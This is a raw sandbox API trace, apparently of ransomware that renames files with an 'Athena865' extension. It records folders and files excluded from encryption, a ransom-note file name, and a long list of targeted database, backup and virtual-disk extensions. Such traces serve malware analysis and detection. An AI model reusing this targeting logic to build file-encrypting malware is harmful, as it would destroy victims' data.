(lpString="Athena865") returned 9 [0035.506] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.506] lstrlenW (lpString=".dll") returned 4 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.506] lstrlenW (lpString=".lnk") returned 4 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.506] lstrlenW (lpString=".ini") returned 4 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.506] lstrlenW (lpString=".sys") returned 4 [0035.506] lstrcmpiW (lpString1="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.506] lstrlenW (lpString="{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.506] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.506] GetLastError () returned 0x5 [0035.506] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.506] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.506] SetEntriesInAclW () returned 0x0 [0035.506] SetNamedSecurityInfoW () returned 0x5 [0035.506] SetNamedSecurityInfoW () returned 0x5 [0035.507] LocalFree (hMem=0x529490) returned 0x0 [0035.507] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.507] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{b8daad68-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.507] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10da [0035.507] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.507] CloseHandle (hObject=0x154) returned 1 [0035.507] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.507] CloseHandle (hObject=0x0) returned 0 [0035.507] CloseHandle (hObject=0x0) returned 0 [0035.515] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbfe440b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xbfe440b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xf8d3dce0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xcd7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B8DAA~3")) returned 1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.515] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.516] lstrlenW (lpString="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.516] lstrcpyW (in: lpString1=0x241e882, lpString2="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.516] lstrlenW (lpString="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.516] lstrlenW (lpString="Athena865") returned 9 [0035.516] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.516] lstrlenW (lpString=".dll") returned 4 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.516] lstrlenW (lpString=".lnk") returned 4 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.516] lstrlenW (lpString=".ini") returned 4 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.516] lstrlenW (lpString=".sys") returned 4 [0035.516] lstrcmpiW (lpString1="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.516] lstrlenW (lpString="{b8daad8b-66a7-11e7-8a16-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.516] lstrlenW (lpString="bak") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.516] lstrlenW (lpString="ba_") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.516] lstrlenW (lpString="dbb") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.516] lstrlenW (lpString="vmdk") returned 4 [0035.516] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.516] lstrlenW (lpString="rar") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.516] lstrlenW (lpString="zip") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.516] lstrlenW (lpString="tgz") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.516] lstrlenW (lpString="vbox") returned 4 [0035.516] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.516] lstrlenW (lpString="vdi") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.516] lstrlenW (lpString="vhd") returned 3 [0035.516] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.516] lstrlenW (lpString="vhdx") returned 4 [0035.516] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.516] lstrlenW (lpString="avhd") returned 4 [0035.517] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.517] lstrlenW (lpString="db") returned 2 [0035.517] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.517] lstrlenW (lpString="db2") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.517] lstrlenW (lpString="db3") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.517] lstrlenW (lpString="dbf") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.517] lstrlenW (lpString="mdf") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.517] lstrlenW (lpString="mdb") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.517] lstrlenW (lpString="sql") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.517] lstrlenW (lpString="sqlite") returned 6 [0035.517] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.517] lstrlenW (lpString="sqlite3") returned 7 [0035.517] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.517] lstrlenW (lpString="sqlitedb") returned 8 [0035.517] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.517] lstrlenW (lpString="xml") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.517] lstrlenW (lpString="$er") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.517] lstrlenW (lpString="4dd") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.517] lstrlenW (lpString="4dl") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.517] lstrlenW (lpString="^^^") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.517] lstrlenW (lpString="abs") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.517] lstrlenW (lpString="abx") returned 3 [0035.517] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.517] lstrlenW (lpString="accdb") returned 5 [0035.517] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.517] lstrlenW (lpString="accdc") returned 5 [0035.517] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.517] lstrlenW (lpString="accde") returned 5 [0035.517] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.517] lstrlenW (lpString="accdr") returned 5 [0035.517] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.518] lstrlenW (lpString="accdt") returned 5 [0035.518] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.518] lstrlenW (lpString="accdw") returned 5 [0035.518] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.518] lstrlenW (lpString="accft") returned 5 [0035.518] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.518] lstrlenW (lpString="adb") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.518] lstrlenW (lpString="adb") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.518] lstrlenW (lpString="ade") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.518] lstrlenW (lpString="adf") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.518] lstrlenW (lpString="adn") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.518] lstrlenW (lpString="adp") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.518] lstrlenW (lpString="alf") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.518] lstrlenW (lpString="ask") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.518] lstrlenW (lpString="btr") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.518] lstrlenW (lpString="cat") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.518] lstrlenW (lpString="cdb") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.518] lstrlenW (lpString="ckp") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.518] lstrlenW (lpString="cma") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.518] lstrlenW (lpString="cpd") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.518] lstrlenW (lpString="dacpac") returned 6 [0035.518] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.518] lstrlenW (lpString="dad") returned 3 [0035.518] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.518] lstrlenW (lpString="dadiagrams") returned 10 [0035.518] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.518] lstrlenW (lpString="daschema") returned 8 [0035.519] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.519] lstrlenW (lpString="db-journal") returned 10 [0035.519] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.519] lstrlenW (lpString="db-shm") returned 6 [0035.519] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.519] lstrlenW (lpString="db-wal") returned 6 [0035.519] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.519] lstrlenW (lpString="dbc") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.519] lstrlenW (lpString="dbs") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.519] lstrlenW (lpString="dbt") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.519] lstrlenW (lpString="dbv") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.519] lstrlenW (lpString="dbx") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.519] lstrlenW (lpString="dcb") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.519] lstrlenW (lpString="dct") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.519] lstrlenW (lpString="dcx") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.519] lstrlenW (lpString="ddl") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.519] lstrlenW (lpString="dlis") returned 4 [0035.519] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.519] lstrlenW (lpString="dp1") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.519] lstrlenW (lpString="dqy") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.519] lstrlenW (lpString="dsk") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.519] lstrlenW (lpString="dsn") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.519] lstrlenW (lpString="dtsx") returned 4 [0035.519] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.519] lstrlenW (lpString="dxl") returned 3 [0035.519] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.519] lstrlenW (lpString="eco") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.520] lstrlenW (lpString="ecx") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.520] lstrlenW (lpString="edb") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.520] lstrlenW (lpString="epim") returned 4 [0035.520] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.520] lstrlenW (lpString="fcd") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.520] lstrlenW (lpString="fdb") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.520] lstrlenW (lpString="fic") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.520] lstrlenW (lpString="flexolibrary") returned 12 [0035.520] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.520] lstrlenW (lpString="fm5") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.520] lstrlenW (lpString="fmp") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.520] lstrlenW (lpString="fmp12") returned 5 [0035.520] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.520] lstrlenW (lpString="fmpsl") returned 5 [0035.520] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.520] lstrlenW (lpString="fol") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.520] lstrlenW (lpString="fp3") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.520] lstrlenW (lpString="fp4") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.520] lstrlenW (lpString="fp5") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.520] lstrlenW (lpString="fp7") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.520] lstrlenW (lpString="fpt") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.520] lstrlenW (lpString="frm") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.520] lstrlenW (lpString="gdb") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.520] lstrlenW (lpString="gdb") returned 3 [0035.520] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.520] lstrlenW (lpString="grdb") returned 4 [0035.521] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.521] lstrlenW (lpString="gwi") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.521] lstrlenW (lpString="hdb") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.521] lstrlenW (lpString="his") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.521] lstrlenW (lpString="ib") returned 2 [0035.521] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.521] lstrlenW (lpString="idb") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.521] lstrlenW (lpString="ihx") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.521] lstrlenW (lpString="itdb") returned 4 [0035.521] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.521] lstrlenW (lpString="itw") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.521] lstrlenW (lpString="jet") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.521] lstrlenW (lpString="jtx") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.521] lstrlenW (lpString="kdb") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.521] lstrlenW (lpString="kexi") returned 4 [0035.521] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.521] lstrlenW (lpString="kexic") returned 5 [0035.521] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.521] lstrlenW (lpString="kexis") returned 5 [0035.521] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.521] lstrlenW (lpString="lgc") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.521] lstrlenW (lpString="lwx") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.521] lstrlenW (lpString="maf") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.521] lstrlenW (lpString="maq") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.521] lstrlenW (lpString="mar") returned 3 [0035.521] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.521] lstrlenW (lpString="marshal") returned 7 [0035.521] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.521] lstrlenW (lpString="mas") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.522] lstrlenW (lpString="mav") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.522] lstrlenW (lpString="maw") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.522] lstrlenW (lpString="mdbhtml") returned 7 [0035.522] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.522] lstrlenW (lpString="mdn") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.522] lstrlenW (lpString="mdt") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.522] lstrlenW (lpString="mfd") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.522] lstrlenW (lpString="mpd") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.522] lstrlenW (lpString="mrg") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.522] lstrlenW (lpString="mud") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.522] lstrlenW (lpString="mwb") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.522] lstrlenW (lpString="myd") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.522] lstrlenW (lpString="ndf") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.522] lstrlenW (lpString="nnt") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.522] lstrlenW (lpString="nrmlib") returned 6 [0035.522] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.522] lstrlenW (lpString="ns2") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.522] lstrlenW (lpString="ns3") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.522] lstrlenW (lpString="ns4") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.522] lstrlenW (lpString="nsf") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.522] lstrlenW (lpString="nv") returned 2 [0035.522] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.522] lstrlenW (lpString="nv2") returned 3 [0035.522] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.523] lstrlenW (lpString="nwdb") returned 4 [0035.523] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.523] lstrlenW (lpString="nyf") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.523] lstrlenW (lpString="odb") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.523] lstrlenW (lpString="odb") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.523] lstrlenW (lpString="oqy") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.523] lstrlenW (lpString="ora") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.523] lstrlenW (lpString="orx") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.523] lstrlenW (lpString="owc") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.523] lstrlenW (lpString="p96") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.523] lstrlenW (lpString="p97") returned 3 [0035.523] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.523] lstrlenW (lpString="pan") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.524] lstrlenW (lpString="pdb") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.524] lstrlenW (lpString="pdm") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.524] lstrlenW (lpString="pnz") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.524] lstrlenW (lpString="qry") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.524] lstrlenW (lpString="qvd") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.524] lstrlenW (lpString="rbf") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.524] lstrlenW (lpString="rctd") returned 4 [0035.524] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.524] lstrlenW (lpString="rod") returned 3 [0035.524] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.524] lstrlenW (lpString="rodx") returned 4 [0035.524] lstrcmpiW (lpString1="752}", lpString2="rodx") returned 